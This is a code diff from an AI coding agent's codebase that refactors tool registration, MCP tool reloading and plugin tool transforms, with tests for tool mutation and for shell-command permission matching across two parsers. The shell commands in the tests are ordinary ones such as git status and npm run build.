const codeModeCatalog = codemodeEnabled ? CodeModeTool.catalog(codemode) : undefined
return {
...(codeModeCatalog === undefined ? {} : { codeModeCatalog }),
definitions: [
...Array.from(direct)
.sort(([left], [right]) => (left < right ? -1 : left > right ? 1 : 0))
.map(([, tool]) => definition(tool)),
...(codemodeTool ? [definition(codemodeTool)] : []),
],
execute: (input: {
readonly sessionID: SessionSchema.ID
readonly agent: Agent.ID
readonly messageID: SessionMessage.ID
readonly call: ToolCall
readonly progress?: (update: Tool.Metadata) => Effect.Effect<void>
}) => {
const context: Tool.Context = {
sessionID: input.sessionID,
agent: input.agent,
messageID: input.messageID,
id: Tool.CallID.make(input.call.id),
progress: input.progress ?? (() => Effect.void),
}
if (input.call.name === "execute" && codemodeTool)
return executeTool(codemodeTool, input.call.name, input.call.input, context)
const tool = direct.get(input.call.name)
if (tool) return executeTool(tool, input.call.name, input.call.input, context)
return new Tool.Error({ message: `Unknown tool: ${input.call.name}` })
},
}
}),
),
})
}),
@@ -260,27 +267,22 @@ function schemaMakeError(error: unknown) {
return error instanceof Error ? error.message : String(error)
}
const skipRegistration = (tool: Tool.Info, error: RegistrationError) =>
Effect.logError("Skipping invalid tool registration", {
name: tool.name,
namespace: tool.options?.namespace,
error: error.message,
}).pipe(Effect.as(false))
const validateName = (name: string) =>
/^[A-Za-z0-9_-]{1,64}$/.test(name)
? Effect.void
: Effect.fail(new RegistrationError({ name, message: `Invalid tool name: ${name}` }))
const validateNamespace = (namespace: string) =>
namespace.split(".").every((segment) => /^[A-Za-z0-9_-]{1,64}$/.test(segment))
? Effect.void
: Effect.fail(
new RegistrationError({
name: namespace,
message: `Invalid tool namespace: ${JSON.stringify(namespace)}`,
}),
)
function registrationError(tool: Tool.Info) {
const namespace = tool.options?.namespace
if (namespace !== undefined && !namespace.split(".").every((segment) => /^[A-Za-z0-9_-]{1,64}$/.test(segment)))
return new RegistrationError({ name: namespace, message: `Invalid tool namespace: ${JSON.stringify(namespace)}` })
const name = normalizedName(tool)
if (!/^[A-Za-z0-9_-]{1,64}$/.test(name)) return new RegistrationError({ name, message: `Invalid tool name: ${name}` })
const id = effectiveName(tool)
if (tool.options?.codemode === false && id === "execute")
return new RegistrationError({ name: id, message: 'Tool name "execute" is reserved for CodeMode' })
const result = Result.try({
try: () => ToolDefinition.make(definition(tool)),
catch: (error) =>
new RegistrationError({ name: id, message: `Invalid tool definition ${id}: ${schemaMakeError(error)}` }),
})
return Result.isFailure(result) ? result.failure : undefined
}
const normalizedName = (tool: Tool.Info) => tool.name.replace(/[^a-zA-Z0-9_-]/g, "_")
@@ -289,12 +291,6 @@ const effectiveName = (tool: Tool.Info) =>
? normalizedName(tool)
: `${tool.options.namespace.replaceAll(".", "_")}_${normalizedName(tool)}`
const normalizedEntries = (tools: ReadonlyArray<Tool.Info>) =>
tools.map((tool) => ({
key: effectiveName(tool),
tool,
}))
export const node = makeLocationNode({
service: Service,
layer,
+6 -5
View File
@@ -30,17 +30,18 @@ Leaves own resolution, permission, and side-effect ordering. Translate only expe
## Registration
Built-ins, plugins, and MCP install tools through `ToolRegistry.Service.transform`, adding complete tool objects to the draft. A tool may provide a namespace, which flattens direct model names to `<namespace>_<tool>`, and defaults into CodeMode (`codemode` defaults true; `codemode: false` keeps the tool on the provider's native tool list).
Built-ins, plugins, and MCP install tools through `Tool.Service.transform`, adding complete tool objects to the draft. A tool may provide a namespace, which flattens direct model names to `<namespace>_<tool>`, and defaults into CodeMode (`codemode` defaults true; `codemode: false` keeps the tool on the provider's native tool list).
Registrations are scoped:
- The latest active same-placement registration wins.
- Closing any registration removes only that registration and reveals the next active one.
- Tool transforms use the shared `State.create` lifecycle, like agents and skills: `add`, `update`, and `remove` replay in registration order when state is rebuilt.
- `update` and `remove` do nothing for missing tools. `add` requires a complete tool definition.
- Disposing a registration or closing its scope removes its transform and rebuilds the remaining state. `reload` replays transforms after their external inputs change.
- Each model request captures the effective tools it advertises; later registration changes affect later requests.
Type safety ends at registration. The registry validates model input and declared output at runtime and should not carry producer schema generics through storage or execution.
`ToolRegistry.Service` is Location-scoped. Do not make the registry process-global or construct a separate application-tool service for each Location.
`Tool.Service` is Location-scoped. Do not make the registry process-global or construct a separate application-tool service for each Location.
## Permissions
@@ -56,4 +57,4 @@ Producer capture limits remain local to producers. For example, Bash keeps `AppP
## Current Gaps
- MCP and future Session-scoped registrations still need an explicit canonical registration design.
- Future Session-scoped registrations still need an explicit canonical registration design.
+79 -85
View File
@@ -2,7 +2,7 @@ export * as McpTool from "./mcp.js"
import { ToolFailure } from "@opencode-ai/ai"
import { McpEvent } from "@opencode-ai/schema/mcp-event"
import { Context, Effect, Exit, Fiber, type JsonSchema, Layer, Scope, Semaphore, Stream } from "effect"
import { Context, Effect, Fiber, type JsonSchema, Layer, Semaphore, Stream } from "effect"
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
import { Bus } from "../bus.js"
@@ -30,94 +30,88 @@ export const layer = Layer.effect(
const tools = yield* Tool.Service
const bus = yield* Bus.Service
const permission = yield* Permission.Service
const scope = yield* Scope.Scope
const lock = Semaphore.makeUnsafe(1)
let current: Scope.Closeable | undefined
let discovered: MCP.Tool[] = []
// Register the current tool set under a fresh child scope, then close the previous one so the
// registry never has a gap where MCP tools disappear mid-swap.
// Keep the source's position so later plugin transforms also apply after MCP refreshes.
yield* tools.transform((draft) => {
for (const tool of discovered) {
const schema = (tool.inputSchema ?? {}) as JsonSchema.JsonSchema
draft.add({
name: tool.name,
options: { namespace: namespace(tool.server), codemode: tool.codemode !== false },
description: tool.description ?? "",
input: {
...schema,
type: "object",
properties: schema.properties ?? {},
additionalProperties: false,
},
output: (tool.outputSchema ?? {}) as JsonSchema.JsonSchema,
execute: (input, context) =>
Effect.gen(function* () {
yield* permission.assert({
action: name(tool.server, tool.name),
resources: ["*"],
save: ["*"],
metadata: {},
sessionID: context.sessionID,
agent: context.agent,
source: {
type: "tool",
messageID: context.messageID,
id: context.id,
},
})
const result = yield* mcp
.callTool({
server: tool.server,
name: tool.name,
args: (input ?? {}) as Record<string, unknown>,
})
.pipe(
Effect.catchTags({
"MCP.NotFoundError": (error) =>
new ToolFailure({ message: `MCP server "${error.server}" is not available` }),
"MCP.ToolCallError": (error) => new ToolFailure({ message: error.message }),
}),
)
if (result.isError)
return yield* new ToolFailure({
message:
result.content
.flatMap((part) => (part.type === "text" ? [part.text] : []))
.join("\n")
.trim() || "MCP tool returned an error",
})
const content = result.content.map((part) =>
part.type === "text"
? { type: "text" as const, text: part.text }
: {
type: "file" as const,
uri: `data:${part.mimeType};base64,${part.data}`,
mime: part.mimeType,
},
)
const text = content.flatMap((part) => (part.type === "text" ? [part.text] : [])).join("\n")
return {
output: result.structured ?? (text === "" ? null : text),
...(content.length === 0 ? {} : { content }),
}
}).pipe(
Effect.mapError((error) =>
error instanceof ToolFailure
? error
: new ToolFailure({ message: `Unable to execute ${name(tool.server, tool.name)}` }),
),
),
})
}
})
const reconcile = lock.withPermit(
Effect.gen(function* () {
const discovered = yield* mcp.tools()
const next = yield* Scope.fork(scope)
yield* tools
.transform((draft) => {
for (const tool of discovered) {
const schema = (tool.inputSchema ?? {}) as JsonSchema.JsonSchema
draft.add({
name: tool.name,
options: { namespace: namespace(tool.server), codemode: tool.codemode !== false },
description: tool.description ?? "",
input: {
...schema,
type: "object",
properties: schema.properties ?? {},
additionalProperties: false,
},
output: (tool.outputSchema ?? {}) as JsonSchema.JsonSchema,
execute: (input, context) =>
Effect.gen(function* () {
yield* permission.assert({
action: name(tool.server, tool.name),
resources: ["*"],
save: ["*"],
metadata: {},
sessionID: context.sessionID,
agent: context.agent,
source: {
type: "tool",
messageID: context.messageID,
id: context.id,
},
})
const result = yield* mcp
.callTool({
server: tool.server,
name: tool.name,
args: (input ?? {}) as Record<string, unknown>,
})
.pipe(
Effect.catchTags({
"MCP.NotFoundError": (error) =>
new ToolFailure({ message: `MCP server "${error.server}" is not available` }),
"MCP.ToolCallError": (error) => new ToolFailure({ message: error.message }),
}),
)
if (result.isError)
return yield* new ToolFailure({
message:
result.content
.flatMap((part) => (part.type === "text" ? [part.text] : []))
.join("\n")
.trim() || "MCP tool returned an error",
})
const content = result.content.map((part) =>
part.type === "text"
? { type: "text" as const, text: part.text }
: {
type: "file" as const,
uri: `data:${part.mimeType};base64,${part.data}`,
mime: part.mimeType,
},
)
const text = content.flatMap((part) => (part.type === "text" ? [part.text] : [])).join("\n")
return {
output: result.structured ?? (text === "" ? null : text),
...(content.length === 0 ? {} : { content }),
}
}).pipe(
Effect.mapError((error) =>
error instanceof ToolFailure
? error
: new ToolFailure({ message: `Unable to execute ${name(tool.server, tool.name)}` }),
),
),
})
}
})
.pipe(Scope.provide(next))
if (current) yield* Scope.close(current, Exit.void)
current = next
discovered = yield* mcp.tools()
yield* tools.reload()
}),
)
+5 -3
View File
@@ -222,9 +222,11 @@ describe("AISDKNative", () => {
},
headers: { "x-test": "value" },
})
expect(map("@ai-sdk/amazon-bedrock/mantle", settings, "openai.gpt-oss-safeguard-20b")?.package).toBe(
"@opencode-ai/ai/providers/amazon-bedrock/mantle/chat",
)
for (const modelID of ["openai.gpt-oss-safeguard-20b", "openai.gpt-oss-safeguard-120b"]) {
expect(map("@ai-sdk/amazon-bedrock/mantle", settings, modelID)?.package).toBe(
"@opencode-ai/ai/providers/amazon-bedrock/mantle/chat",
)
}
expect(
map(
"@ai-sdk/amazon-bedrock/mantle",
+2 -4
View File
@@ -64,10 +64,8 @@ export const registerToolPlugin = <R>(
hook: () => Effect.succeed({ dispose: Effect.void }),
},
tool: {
transform: (callback) =>
tools
.transform((draft) => callback({ add: (tool) => draft.add(tool) }))
.pipe(Effect.orDie, Effect.as({ dispose: Effect.void })),
transform: tools.transform,
reload: tools.reload,
hook: () => Effect.die("registerToolPlugin does not support tool hooks"),
},
})
+36 -21
View File
@@ -1229,7 +1229,7 @@ test("serializes concurrent MCP lifecycle operations", async () => {
)
})
testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updates alive", () =>
testEffect(Layer.empty).live("isolates invalid MCP tools and reapplies plugin mutations on catalog updates", () =>
Effect.gen(function* () {
const tool = (server: string, name: string) =>
new MCP.Tool({
@@ -1246,12 +1246,14 @@ testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updat
const registry = yield* Tool.Service
const registration = yield* McpTool.Service
const bus = yield* Bus.Service
const policy = yield* registry.transform((draft) => {
draft.update("demo_search", (tool) => {
tool.description = "Updated search"
})
draft.remove("other_lookup")
})
yield* registration.flush
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
"demo_search",
"other_lookup",
"execute",
])
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual(["demo_search", "execute"])
yield* Ref.set(catalog, [tool("demo", "y".repeat(65)), ...healthy, tool("demo", "added"), namespace])
yield* bus.publish(McpEvent.ToolsChanged, { server: "demo" })
@@ -1259,23 +1261,36 @@ testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updat
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
"demo_added",
"demo_search",
"other_lookup",
"execute",
])
yield* Effect.forEach(["demo_search", "other_lookup"], (name) =>
executeTool(registry, {
expect((yield* toolDefinitions(registry)).find((tool) => tool.name === "demo_search")?.description).toBe(
"Updated search",
)
expect(
yield* executeTool(registry, {
sessionID: Session.ID.make("ses_mcp_invalid_catalog"),
...toolIdentity,
call: { type: "tool-call", id: `call_${name}`, name, input: {} },
}).pipe(Effect.tap((result) => Effect.sync(() => expect(result).toMatchObject({ status: "completed" })))),
)
call: { type: "tool-call", id: "call_demo_search", name: "demo_search", input: {} },
}),
).toMatchObject({ status: "completed" })
yield* Ref.set(catalog, [tool("demo", "status"), ...healthy, tool("demo", "added"), tool("repaired", "lookup")])
yield* Ref.set(catalog, [
tool("demo", "status"),
tool("other", "lookup"),
tool("demo", "added"),
tool("repaired", "lookup"),
])
yield* bus.publish(McpEvent.ToolsChanged, { server: "demo" })
yield* waitForTool(registry, "demo_status")
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
"demo_added",
"demo_search",
"demo_status",
"repaired_lookup",
"execute",
])
yield* policy.dispose
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
"demo_added",
"demo_status",
"other_lookup",
"repaired_lookup",
@@ -1309,7 +1324,7 @@ testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updat
}),
)
it.effect("advertises MCP output schemas to Code Mode", () =>
it.live("advertises MCP output schemas to Code Mode", () =>
Effect.gen(function* () {
const registry = yield* Tool.Service
const toolSet = yield* waitForCodeModeTool(registry, "demo.search")
@@ -1326,7 +1341,7 @@ it.effect("advertises MCP output schemas to Code Mode", () =>
}),
)
it.effect("returns content-only MCP results through Code Mode", () =>
it.live("returns content-only MCP results through Code Mode", () =>
Effect.gen(function* () {
assertion = yield* Deferred.make<Permission.AssertInput>()
decision = Effect.void
@@ -1351,7 +1366,7 @@ it.effect("returns content-only MCP results through Code Mode", () =>
}),
)
it.effect("advertises MCP tools directly when Code Mode is disabled for the server", () =>
it.live("advertises MCP tools directly when Code Mode is disabled for the server", () =>
Effect.gen(function* () {
const registry = yield* Tool.Service
yield* waitForTool(registry, "direct_lookup")
@@ -1365,7 +1380,7 @@ it.effect("advertises MCP tools directly when Code Mode is disabled for the serv
// Baseline (PLAN.md step 1): MCP isError must become one failed tool call, not a
// success whose text happens to describe an error.
it.effect("fails the call when MCP reports isError", () =>
it.live("fails the call when MCP reports isError", () =>
Effect.gen(function* () {
assertion = yield* Deferred.make<Permission.AssertInput>()
decision = Effect.void
@@ -1383,7 +1398,7 @@ it.effect("fails the call when MCP reports isError", () =>
)
// Baseline (PLAN.md step 1): mixed MCP text and media content must reach the model intact.
it.effect("preserves MCP text and media content for the model", () =>
it.live("preserves MCP text and media content for the model", () =>
Effect.gen(function* () {
assertion = yield* Deferred.make<Permission.AssertInput>()
decision = Effect.void
@@ -1404,7 +1419,7 @@ it.effect("preserves MCP text and media content for the model", () =>
}),
)
it.effect("waits for permission before calling an MCP tool", () =>
it.live("waits for permission before calling an MCP tool", () =>
Effect.gen(function* () {
calls = 0
assertion = yield* Deferred.make<Permission.AssertInput>()
@@ -1446,7 +1461,7 @@ it.effect("waits for permission before calling an MCP tool", () =>
}),
)
it.effect("does not call MCP when permission is blocked", () =>
it.live("does not call MCP when permission is blocked", () =>
Effect.gen(function* () {
calls = 0
assertion = yield* Deferred.make<Permission.AssertInput>()
+332
View File
@@ -17,6 +17,7 @@ import { AbsolutePath } from "@opencode-ai/core/schema"
import { Session } from "@opencode-ai/core/session"
import { SessionTable } from "@opencode-ai/core/session/sql"
import { SessionStore } from "@opencode-ai/core/session/store"
import { ShellParse } from "@opencode-ai/core/shell/parse"
import { eq } from "drizzle-orm"
import { location } from "./fixture/location"
import { testEffect } from "./lib/effect"
@@ -384,3 +385,334 @@ describe("Permission", () => {
}),
)
})
describe("shell scanner permission impact", () => {
// Fixed cases require matching outcomes; remaining differences are investigation snapshots, not contracts.
// These service-level cases all have command resources; tool tests cover skipped checks and directories.
// Outcome pairs are [legacy, native].
for (const fixture of [
{
name: "timed command preserves wrapper approvals",
shell: "bash",
command: "time -p git status",
approved: ["time *"],
exact: ["time -p git status"],
denied: "time -p git status",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "coprocess command preserves wrapper approvals",
shell: "bash",
command: "coproc git status",
approved: ["coproc *"],
exact: ["coproc git status"],
denied: "coproc git status",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "declarations and unset",
shell: "bash",
command: "export X=value; unset X; git status",
approved: ["git status *"],
exact: ["git status"],
denied: "export *",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["allow", "allow"],
},
{
name: "export with an approved command substitution",
shell: "bash",
command: "export VERSION=$(git describe --tags); npm run build",
approved: ["git describe *", "npm run build *"],
exact: ["git describe --tags", "npm run build"],
denied: "export *",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["allow", "allow"],
},
{
name: "export retains checks on the command substitution",
shell: "bash",
command: "export VERSION=$(git describe --tags); npm run build",
approved: ["git describe *", "npm run build *"],
exact: ["git describe --tags", "npm run build"],
denied: "git describe *",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "redirect after a conditional list",
shell: "bash",
command: "printf ok && git status > output",
approved: ["printf *", "git status *"],
exact: ["printf ok", "git status"],
denied: "git status",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "redirect after a pipeline",
shell: "bash",
command: "printf ok | cat < input > output",
approved: ["printf *", "cat *"],
exact: ["printf ok", "cat"],
denied: "cat",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "assignment redirect followed by a command",
shell: "bash",
command: "FOO=bar > output; printf done",
approved: ["printf *"],
exact: ["printf done"],
denied: "FOO=bar > output; printf done",
savedEffect: ["ask", "allow"],
exactEffect: ["ask", "allow"],
deniedEffect: ["deny", "allow"],
},
{
name: "assignment redirect with an approved command substitution",
shell: "bash",
command: "VERSION=$(git describe --tags) > build/version.txt",
approved: ["git describe *"],
exact: ["git describe --tags"],
denied: "VERSION=$(git describe --tags) > build/version.txt",
savedEffect: ["ask", "allow"],
exactEffect: ["ask", "allow"],
deniedEffect: ["deny", "allow"],
},
{
name: "substitution in a saved prefix",
shell: "bash",
command: "git $(printf diff) --stat",
approved: ["git *", "printf *"],
exact: ["git $(printf diff) --stat", "printf diff"],
denied: "git $(printf diff) --stat",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["deny", "deny"],
},
{
name: "standalone PowerShell scriptblock caller",
shell: "pwsh",
command: "ForEach-Object { Write-Output value }",
approved: ["Write-Output *"],
exact: ["Write-Output value"],
denied: "ForEach-Object *",
savedEffect: ["allow", "allow"],
exactEffect: ["allow", "allow"],
deniedEffect: ["allow", "allow"],
},
{
name: "tab-separated PowerShell command",
shell: "pwsh",
command: "git\tstatus; Write-Output done",
approved: ["git status *", "Write-Output *"],
exact: ["git status", "Write-Output done"],
denied: "git\tstatus",
savedEffect: ["allow", "ask"],
exactEffect: ["allow", "ask"],
deniedEffect: ["allow", "deny"],
},
{
name: "PowerShell equals-joined argument",
shell: "pwsh",
command: "git --work-tree=src status",
approved: ["git --work-tree *"],
exact: ["git --work-tree"],
denied: "git --work-tree",
savedEffect: ["allow", "ask"],
exactEffect: ["allow", "ask"],
deniedEffect: ["deny", "allow"],
},
] as const) {
for (const scenario of [
{ name: "no approval", saved: [], rules: [], expected: ["ask", "ask"] },
{ name: "saved wildcard", saved: ["*"], rules: [], expected: ["allow", "allow"] },
{ name: "saved command approvals", saved: fixture.approved, rules: [], expected: fixture.savedEffect },
{
name: "exact configured approvals",
saved: [],
rules: fixture.exact.map((resource): Permission.Rule => ({ action: "shell", resource, effect: "allow" })),
expected: fixture.exactEffect,
},
{
name: "exact saved approvals",
saved: fixture.exact,
rules: [],
expected: fixture.exactEffect,
},
{
name: "configured deny despite saved wildcard",
saved: ["*"],
rules: [{ action: "shell", resource: fixture.denied, effect: "deny" }] satisfies Permission.Ruleset,
expected: fixture.deniedEffect,
},
] as const) {
it.live(`${fixture.name}: ${scenario.name}`, () =>
Effect.gen(function* () {
yield* setup(scenario.rules)
const saved = yield* PermissionSaved.Service
yield* saved.add({ projectID: Project.ID.global, action: "shell", resources: scenario.saved })
const service = yield* Permission.Service
for (const [index, portable] of [false, true].entries()) {
const parsed = yield* ShellParse.scan(fixture.command, fixture.shell, "/project", { portable })
expect(parsed.commands.length).toBeGreaterThan(0)
expect(parsed.directories).toEqual([])
const result = yield* service.ask(
assertion({
action: "shell",
resources: parsed.commands.map((command) => command.resource),
save: parsed.commands.map((command) => command.save),
}),
)
expect(result.effect, portable ? "native" : "legacy").toBe(scenario.expected[index])
const pending = yield* service.list()
expect(pending).toHaveLength(result.effect === "ask" ? 1 : 0)
if (result.effect !== "ask") continue
expect(pending[0]?.resources).toEqual(parsed.commands.map((command) => command.resource))
expect(pending[0]?.save).toEqual(parsed.commands.map((command) => command.save))
yield* service.reply({ requestID: result.id, reply: "once" })
expect(yield* service.list()).toEqual([])
}
}),
)
}
}
// Grant/repeat rows select the granting parser; repeat columns select the parser used afterwards.
for (const fixture of [
{
name: "numeric npm script prefix",
shell: "bash",
command: "npm run 123",
grants: [["npm run *"], ["npm run 123 *"]],
repeat: [
["allow", "allow"],
["allow", "allow"],
],
next: "npm run build",
nextEffect: ["allow", "ask"],
},
{
name: "numeric AWS option prefix",
shell: "bash",
command: "aws --cli-read-timeout 60 s3 ls",
grants: [["aws --cli-read-timeout s3 *"], ["aws --cli-read-timeout 60 *"]],
repeat: [
["ask", "ask"],
["allow", "allow"],
],
next: "aws --cli-read-timeout 60 ec2 describe-instances",
nextEffect: ["ask", "allow"],
},
{
name: "substitution prefix",
shell: "bash",
command: "git $(printf diff) --stat",
grants: [
["git --stat *", "printf *"],
["git $(printf diff) *", "printf *"],
],
repeat: [
["ask", "ask"],
["allow", "allow"],
],
next: "git --stat",
nextEffect: ["allow", "ask"],
},
{
name: "redirect prefix",
shell: "bash",
command: "printf ok && git status > output",
grants: [
["printf *", "git status *"],
["printf *", "git status *"],
],
repeat: [
["allow", "allow"],
["allow", "allow"],
],
next: "git status --short",
nextEffect: ["allow", "allow"],
},
{
name: "assignment redirect prefix",
shell: "bash",
command: "FOO=bar > output; printf done",
grants: [["printf *"], ["printf *"]],
// Identical saved rules cover only the native resource, regardless of which parser saved them.
repeat: [
["ask", "allow"],
["ask", "allow"],
],
next: "printf next",
nextEffect: ["allow", "allow"],
},
{
name: "PowerShell tab prefix",
shell: "pwsh",
command: "git\tstatus; Write-Output done",
grants: [["Write-Output *"], ["git\tstatus *", "Write-Output *"]],
repeat: [
["allow", "ask"],
["allow", "allow"],
],
next: "git status",
nextEffect: ["ask", "ask"],
},
] as const) {
for (const [origin, portable] of [false, true].entries()) {
it.live(`${fixture.name}: always allow from ${portable ? "native" : "legacy"}, then use either parser`, () =>
Effect.gen(function* () {
yield* setup()
const service = yield* Permission.Service
const saved = yield* PermissionSaved.Service
const parsed = yield* ShellParse.scan(fixture.command, fixture.shell, "/project", { portable })
const first = yield* service.ask(
assertion({
action: "shell",
resources: parsed.commands.map((command) => command.resource),
save: parsed.commands.map((command) => command.save),
}),
)
expect(first.effect).toBe("ask")
expect(yield* service.list()).toHaveLength(1)
yield* service.reply({ requestID: first.id, reply: "always" })
expect(yield* service.list()).toEqual([])
expect((yield* saved.list({ projectID: Project.ID.global })).map((rule) => rule.resource).sort()).toEqual(
[...fixture.grants[portable ? 1 : 0]].sort(),
)
for (const [index, target] of [false, true].entries()) {
for (const command of [fixture.command, fixture.next]) {
const parsed = yield* ShellParse.scan(command, fixture.shell, "/project", { portable: target })
const result = yield* service.ask(
assertion({
action: "shell",
resources: parsed.commands.map((command) => command.resource),
save: parsed.commands.map((command) => command.save),
}),
)
expect(result.effect, `${target ? "native" : "legacy"}: ${command}`).toBe(
command === fixture.next ? fixture.nextEffect[origin] : fixture.repeat[origin]?.[index],
)
if (result.effect === "ask") yield* service.reply({ requestID: result.id, reply: "once" })
expect(yield* service.list()).toEqual([])
}
}
}),
)
}
}
})
+1
View File
@@ -114,6 +114,7 @@ export function host(overrides: Overrides = {}): Plugin.Context {
},
tool: overrides.tool ?? {
transform: () => Effect.die("unused tool.transform"),
reload: () => Effect.die("unused tool.reload"),
hook: () => Effect.die("unused tool.hook"),
},
vcs: overrides.vcs ?? {
+1
View File
@@ -72,6 +72,7 @@ const run = Effect.fnUntraced(function* (events: ReadonlyArray<SessionEvent.Agen
},
tool: {
transform: () => Effect.die("unused tool.transform"),
reload: () => Effect.die("unused tool.reload"),
hook: (name, callback) => {
if (name === "execute.after") {
// Hook names and callbacks are correlated, but TypeScript does not narrow this generic registration API.
+73
View File
@@ -636,4 +636,77 @@ describe("fromPromise", () => {
})
}),
)
it.live("adapts tool mutation, replay, and disposal through the Promise API", () =>
Effect.gen(function* () {
const plugins = yield* Plugin.Service
const registry = yield* Tool.Service
const host = yield* PluginHost.make(plugins)
const progress: Tool.Metadata[] = []
let greeting = "Hello"
let registration: { dispose(): Promise<void> } | undefined
yield* host.tool.transform((draft) => {
const text = greeting
draft.add({
name: "hello",
description: "Hello",
options: { namespace: "acme", codemode: false },
input: Schema.Struct({ name: Schema.String }),
output: Schema.String,
execute: ({ name }, context) =>
context.progress({ phase: "original" }).pipe(Effect.as({ output: `${text}, ${name}!` })),
})
draft.add({
name: "temporary",
description: "Temporary",
input: Schema.Struct({}),
options: { codemode: false },
execute: () => Effect.succeed({ content: "temporary" }),
})
})
yield* PluginPromise.fromPromise(
define({
id: "promise-update",
setup: async (ctx) => {
registration = await ctx.tool.transform((draft) => {
draft.update("missing", () => {
throw new Error("must not create a tool")
})
draft.update("acme_hello", (tool) => {
const execute = tool.execute
tool.description = "Wrapped"
tool.execute = async (input, context) => {
const result = await execute(input, context)
return { ...result, output: `${result.output} Wrapped.` }
}
})
draft.remove("temporary")
})
greeting = "Hi"
await ctx.tool.reload()
},
}),
).effect(host)
const snapshot = yield* registry.snapshot()
expect(snapshot.definitions.map((tool) => tool.name)).toEqual(["acme_hello", "execute"])
expect(snapshot.definitions[0]?.description).toBe("Wrapped")
expect(
yield* snapshot.execute({
sessionID: Session.ID.make("ses_promise_update"),
agent: Agent.ID.make("build"),
messageID: SessionMessage.ID.make("msg_promise_update"),
progress: (value) => Effect.sync(() => progress.push(value)),
call: { type: "tool-call", id: "call_promise_update", name: "acme_hello", input: { name: "world" } },
}),
).toMatchObject({ output: "Hi, world! Wrapped." })
expect(progress).toEqual([{ phase: "original" }])
const registered = registration
if (!registered) throw new Error("Expected registration")
yield* Effect.promise(() => registered.dispose())
yield* Effect.promise(() => registered.dispose())
const restored = yield* registry.snapshot()
expect(restored.definitions.map((tool) => tool.name)).toEqual(["acme_hello", "temporary", "execute"])
expect(restored.definitions[0]?.description).toBe("Hello")
}),
)
})
@@ -7,6 +7,7 @@ import { PluginHooks } from "@opencode-ai/core/plugin/hooks"
import { Session } from "@opencode-ai/core/session"
import { SessionMessage } from "@opencode-ai/core/session/message"
import { Tool } from "@opencode-ai/core/tool"
import { State } from "@opencode-ai/core/state"
import type { Info } from "@opencode-ai/schema/tool"
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
import { executeTool, toolDefinitions } from "./lib/tool"
@@ -71,6 +72,138 @@ const transform = (service: Tool.Interface, tools: Readonly<Record<string, Info>
)
describe("Tool", () => {
it.live("replays updates and removals on reload and restores definitions on disposal", () =>
Effect.gen(function* () {
const service = yield* Tool.Service
let text = "original"
const source = yield* service.transform((draft) =>
draft.add({
...constant(text),
name: "echo",
description: text,
options: { namespace: "acme", codemode: false },
}),
)
yield* transform(service, { echo: make() }, { namespace: "other", codemode: false })
const before = yield* service.snapshot()
const update = yield* service.transform((draft) => {
draft.update("missing", () => {
throw new Error("must not create a tool")
})
draft.update("acme_echo", (tool) => {
tool.description += " updated"
const execute = tool.execute
tool.execute = (input, context) =>
execute(input, context).pipe(
Effect.map((result) => ({ ...result, output: { text: `${result.output.text} updated` } })),
)
})
})
const removal = yield* service.transform((draft) => {
draft.remove("missing")
draft.remove("other_echo")
})
const updated = yield* service.snapshot()
expect(updated.definitions.map((tool) => tool.name)).toEqual(["acme_echo", "execute"])
expect(updated.definitions[0]?.description).toBe("original updated")
expect((yield* updated.execute(call("acme_echo"))).output).toEqual({ text: "original updated" })
text = "refreshed"
yield* service.reload()
const reloaded = yield* service.snapshot()
expect(reloaded.definitions.map((tool) => tool.name)).toEqual(["acme_echo", "execute"])
expect(reloaded.definitions[0]?.description).toBe("refreshed updated")
expect((yield* reloaded.execute(call("acme_echo"))).output).toEqual({ text: "refreshed updated" })
expect((yield* before.execute(call("acme_echo"))).output).toEqual({ text: "original" })
yield* removal.dispose
yield* removal.dispose
yield* update.dispose
const restored = yield* service.snapshot()
expect(restored.definitions.map((tool) => tool.name)).toEqual(["acme_echo", "other_echo", "execute"])
expect((yield* restored.execute(call("acme_echo"))).output).toEqual({ text: "refreshed" })
yield* source.dispose
expect((yield* service.snapshot()).definitions.map((tool) => tool.name)).toEqual(["other_echo", "execute"])
}),
)
it.effect("does not retain an updated tool after its source scope closes", () =>
Effect.gen(function* () {
const service = yield* Tool.Service
const scope = yield* Scope.make()
yield* transform(service, { echo: make() }, { codemode: false }).pipe(Scope.provide(scope))
yield* service.transform((draft) =>
draft.update("echo", (tool) => {
tool.description = "Updated"
}),
)
yield* Scope.close(scope, Exit.void)
expect((yield* service.snapshot()).definitions.map((tool) => tool.name)).toEqual(["execute"])
}),
)
it.effect("batches tool transforms with the shared state lifecycle", () =>
Effect.gen(function* () {
const service = yield* Tool.Service
let runs = 0
yield* State.batch(
Effect.gen(function* () {
yield* service.transform((draft) => {
runs++
draft.add({ ...make(), options: { codemode: false } })
})
yield* service.transform((draft) =>
draft.update("echo", (tool) => {
tool.description = "Batched"
}),
)
expect(runs).toBe(0)
}),
)
expect(runs).toBe(1)
expect((yield* service.snapshot()).definitions[0]?.description).toBe("Batched")
}),
)
it.effect("skips invalid updates without dropping the existing definition", () =>
Effect.gen(function* () {
const service = yield* Tool.Service
yield* transform(service, { echo: make() }, { codemode: false })
yield* service.transform((draft) =>
draft.update("echo", (tool) => {
Object.assign(tool, { description: undefined })
}),
